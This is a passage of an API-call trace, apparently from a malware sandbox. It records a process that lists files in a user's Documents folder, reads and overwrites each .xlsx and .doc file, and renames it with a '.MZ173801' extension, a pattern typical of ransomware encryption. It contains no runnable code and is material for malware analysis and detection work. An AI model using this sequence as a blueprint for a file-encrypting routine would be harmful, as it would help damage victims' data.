lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.878] GetCurrentThreadId () returned 0x9fc [0124.878] GetCurrentThreadId () returned 0x9fc [0124.878] GetCurrentThreadId () returned 0x9fc [0124.878] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\jS6DiLz01 X90l.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\js6dilz01 x90l.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.879] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0124.879] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.879] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0xe92a [0124.879] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.879] ReadFile (in: hFile=0x29c, lpBuffer=0x714510, nNumberOfBytesToRead=0xe92a, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f12c*=0xe92a, lpOverlapped=0x0) returned 1 [0124.880] CloseHandle (hObject=0x29c) returned 1 [0124.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\jS6DiLz01 X90l.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\js6dilz01 x90l.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.883] WriteFile (in: hFile=0x29c, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xe92a, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f138*=0xe92a, lpOverlapped=0x0) returned 1 [0124.885] CloseHandle (hObject=0x29c) returned 1 [0124.885] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\jS6DiLz01 X90l.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\js6dilz01 x90l.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\jS6DiLz01 X90l.xlsx.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\js6dilz01 x90l.xlsx.mz173801")) returned 1 [0124.886] GetCurrentThreadId () returned 0x9fc [0124.886] GetCurrentThreadId () returned 0x9fc [0124.886] GetCurrentThreadId () returned 0x9fc [0124.886] GetCurrentThreadId () returned 0x9fc [0124.886] GetCurrentThreadId () returned 0x9fc [0124.886] GetCurrentThreadId () returned 0x9fc [0124.886] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21d2520, ftCreationTime.dwHighDateTime=0x1d5d913, ftLastAccessTime.dwLowDateTime=0xd761ac70, ftLastAccessTime.dwHighDateTime=0x1d5da02, ftLastWriteTime.dwLowDateTime=0xd761ac70, ftLastWriteTime.dwHighDateTime=0x1d5da02, nFileSizeHigh=0x0, nFileSizeLow=0x41a4, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="p0NG4l.doc", cAlternateFileName="")) returned 1 [0124.886] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.886] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.886] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\p0NG4l.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\p0ng4l.doc"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21d2520, ftCreationTime.dwHighDateTime=0x1d5d913, ftLastAccessTime.dwLowDateTime=0xd761ac70, ftLastAccessTime.dwHighDateTime=0x1d5da02, ftLastWriteTime.dwLowDateTime=0xd761ac70, ftLastWriteTime.dwHighDateTime=0x1d5da02, nFileSizeHigh=0x0, nFileSizeLow=0x41a4)) returned 1 [0124.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0124.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0124.889] GetCurrentThreadId () returned 0x9fc [0124.889] GetCurrentThreadId () returned 0x9fc [0124.889] GetCurrentThreadId () returned 0x9fc [0124.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0124.890] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0124.890] GetCurrentThreadId () returned 0x9fc [0124.890] GetCurrentThreadId () returned 0x9fc [0124.890] GetCurrentThreadId () returned 0x9fc [0124.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\p0NG4l.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\p0ng4l.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.890] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0124.890] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.890] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x41a4 [0124.891] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0124.891] ReadFile (in: hFile=0x29c, lpBuffer=0x714510, nNumberOfBytesToRead=0x41a4, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f12c*=0x41a4, lpOverlapped=0x0) returned 1 [0124.892] CloseHandle (hObject=0x29c) returned 1 [0124.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\p0NG4l.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\p0ng4l.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0124.894] WriteFile (in: hFile=0x29c, lpBuffer=0x71a540*, nNumberOfBytesToWrite=0x41a4, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x71a540*, lpNumberOfBytesWritten=0x18f138*=0x41a4, lpOverlapped=0x0) returned 1 [0124.895] CloseHandle (hObject=0x29c) returned 1 [0124.895] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\p0NG4l.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\p0ng4l.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\p0NG4l.doc.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\u0eooc3x-\\6qa-y\\4medsgumwqmrlccz3nm\\p0ng4l.doc.mz173801")) returned 1 [0124.896] GetCurrentThreadId () returned 0x9fc [0124.896] GetCurrentThreadId () returned 0x9fc [0124.896] GetCurrentThreadId () returned 0x9fc [0124.896] GetCurrentThreadId () returned 0x9fc [0124.896] GetCurrentThreadId () returned 0x9fc [0124.896] GetCurrentThreadId () returned 0x9fc [0124.896] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf21d2520, ftCreationTime.dwHighDateTime=0x1d5d913, ftLastAccessTime.dwLowDateTime=0xd761ac70, ftLastAccessTime.dwHighDateTime=0x1d5da02, ftLastWriteTime.dwLowDateTime=0xd761ac70, ftLastWriteTime.dwHighDateTime=0x1d5da02, nFileSizeHigh=0x0, nFileSizeLow=0x41a4, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="p0NG4l.doc", cAlternateFileName="")) returned 0 [0124.896] GetLastError () returned 0x12 [0124.896] FindClose (in: hFindFile=0x2fc740 | out: hFindFile=0x2fc740) returned 1 [0124.897] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U0EOoc3x-\\6qa-y\\4MEDSGumwQmrlccZ3NM\\*.*", lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f5190, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0x9b4b61c0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b4b61c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName=".", cAlternateFileName="")) returned 0x2fc740 [0124.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1dc | out: lpLocalFileTime=0x18f1dc) returned 1 [0124.897] FileTimeToDosDateTime (in: lpFileTime=0x18f1dc, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.897] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f5190, ftCreationTime.dwHighDateTime=0x1d5df90, ftLastAccessTime.dwLowDateTime=0x9b4b61c0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9b4b61c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="..", cAlternateFileName="")) returned 1 [0124.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.897] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.897] FindNextFileW (in: hFindFile=0x2fc740, lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156cf370, ftCreationTime.dwHighDateTime=0x1d5dac2, ftLastAccessTime.dwLowDateTime=0xe7701250, ftLastAccessTime.dwHighDateTime=0x1d5de71, ftLastWriteTime.dwLowDateTime=0x9b490060, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xe92a, dwReserved0=0x2e0000, dwReserved1=0x2d70a0, cFileName="jS6DiLz01 X90l.xlsx.MZ173801", cAlternateFileName="JS6DIL~1.MZ1")) returned 1 [0124.897] FileTimeToLocalFileTime (in: lpFileTime=0x18f278, lpLocalFileTime=0x18f1d8 | out: lpLocalFileTime=0x18f1d8) returned 1 [0124.897] FileTimeToDosDateTime (in: lpFileTime=0x18f1d8, lpFatDate=0x18f246, lpFatTime=0x18f244 | out: lpFatDate=0x18f246, lpFatTime=0x18f244) returned 1 [0124.897] FindNextFileW 